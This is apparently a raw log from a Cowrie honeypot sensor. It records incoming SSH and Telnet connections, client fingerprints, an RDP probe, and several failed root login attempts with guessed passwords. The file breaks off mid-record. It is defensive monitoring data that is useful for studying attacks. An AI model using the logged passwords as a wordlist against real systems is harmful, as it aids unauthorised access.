{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:13.190925Z","src_ip":"103.183.114.55","session":"ca2fbced2aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tennis","message":"login attempt [root/tennis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:13.854286Z","src_ip":"103.183.114.55","session":"ca2fbced2aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:15.089673Z","src_ip":"103.183.114.55","session":"ca2fbced2aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34668,"dst_ip":"10.17.0.5","dst_port":23,"session":"c247073adad4","protocol":"telnet","message":"New connection: 152.42.224.71:34668 (10.17.0.5:23) [session: c247073adad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:30.981457Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37468,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e22b3932c91","protocol":"ssh","message":"New connection: 103.15.222.183:37468 (10.17.0.5:22) [session: 6e22b3932c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:41.013754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:41.019322Z","src_ip":"103.15.222.183","session":"6e22b3932c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:41.264960Z","src_ip":"103.15.222.183","session":"6e22b3932c91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ilia16739","message":"login attempt [root/ilia16739] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:42.004334Z","src_ip":"103.15.222.183","session":"6e22b3932c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:43.326510Z","src_ip":"103.15.222.183","session":"6e22b3932c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.960067749023438,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:55.941404Z","src_ip":"152.42.224.71","session":"c247073adad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.220.47.28","src_port":43744,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dc87a76a1f1","protocol":"telnet","message":"New connection: 124.220.47.28:43744 (10.17.0.5:23) [session: 8dc87a76a1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:44:15.564512Z"}
{"eventid":"cowrie.session.closed","duration":30.559447288513184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:44:46.123860Z","src_ip":"124.220.47.28","session":"8dc87a76a1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50071,"dst_ip":"10.17.0.5","dst_port":22,"session":"02ff8f1d578a","protocol":"ssh","message":"New connection: 152.42.212.128:50071 (10.17.0.5:22) [session: 02ff8f1d578a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:15.867813Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:15.873918Z","src_ip":"152.42.212.128","session":"02ff8f1d578a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:15.879100Z","src_ip":"152.42.212.128","session":"02ff8f1d578a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":46640,"dst_ip":"10.17.0.5","dst_port":22,"session":"6007169940c9","protocol":"ssh","message":"New connection: 103.82.132.16:46640 (10.17.0.5:22) [session: 6007169940c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:26.103828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:26.110392Z","src_ip":"103.82.132.16","session":"6007169940c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:26.368351Z","src_ip":"103.82.132.16","session":"6007169940c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyqwe","message":"login attempt [root/qwertyqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:27.142408Z","src_ip":"103.82.132.16","session":"6007169940c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:28.402600Z","src_ip":"103.82.132.16","session":"6007169940c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":33618,"dst_ip":"159.203.135.109","dst_port":22,"session":"429dd375c713","protocol":"ssh","message":"New connection: 103.77.175.15:33618 (159.203.135.109:22) [session: 429dd375c713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:33.488281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:33.492471Z","src_ip":"103.77.175.15","session":"429dd375c713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:33.754473Z","src_ip":"103.77.175.15","session":"429dd375c713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfkthf","message":"login attempt [root/dfkthf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:34.541747Z","src_ip":"103.77.175.15","session":"429dd375c713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:35.806863Z","src_ip":"103.77.175.15","session":"429dd375c713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56052,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dbfdf0f5d09","protocol":"ssh","message":"New connection: 103.75.183.219:56052 (10.17.0.5:22) [session: 4dbfdf0f5d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:44.354103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:44.358988Z","src_ip":"103.75.183.219","session":"4dbfdf0f5d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:44.609015Z","src_ip":"103.75.183.219","session":"4dbfdf0f5d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777777","message":"login attempt [root/7777777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:45.350349Z","src_ip":"103.75.183.219","session":"4dbfdf0f5d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:45:46.600652Z","src_ip":"103.75.183.219","session":"4dbfdf0f5d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51618,"dst_ip":"10.17.0.5","dst_port":23,"session":"022c9213b7b8","protocol":"telnet","message":"New connection: 152.42.224.71:51618 (10.17.0.5:23) [session: 022c9213b7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:04.709867Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51630,"dst_ip":"10.17.0.5","dst_port":23,"session":"674290ec35a4","protocol":"telnet","message":"New connection: 152.42.224.71:51630 (10.17.0.5:23) [session: 674290ec35a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:04.852314Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":56030,"dst_ip":"10.17.0.5","dst_port":22,"session":"775150c3e7e2","protocol":"ssh","message":"New connection: 176.32.39.21:56030 (10.17.0.5:22) [session: 775150c3e7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:05.056398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:05.061986Z","src_ip":"176.32.39.21","session":"775150c3e7e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:05.183787Z","src_ip":"176.32.39.21","session":"775150c3e7e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1234","message":"login attempt [root/qwe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:05.550282Z","src_ip":"176.32.39.21","session":"775150c3e7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:06.674857Z","src_ip":"176.32.39.21","session":"775150c3e7e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52150,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ce40ca1e30","protocol":"ssh","message":"New connection: 103.27.238.114:52150 (159.203.135.109:22) [session: d0ce40ca1e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:08.631271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:08.636043Z","src_ip":"103.27.238.114","session":"d0ce40ca1e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:08.908875Z","src_ip":"103.27.238.114","session":"d0ce40ca1e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t64321t","message":"login attempt [root/t64321t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:09.726493Z","src_ip":"103.27.238.114","session":"d0ce40ca1e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:11.003404Z","src_ip":"103.27.238.114","session":"d0ce40ca1e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56554,"dst_ip":"10.17.0.5","dst_port":22,"session":"c52d22f6263b","protocol":"ssh","message":"New connection: 103.27.238.116:56554 (10.17.0.5:22) [session: c52d22f6263b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:11.127385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:46:11.132467Z","src_ip":"103.27.238.116","session":"c52d22f6263b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr"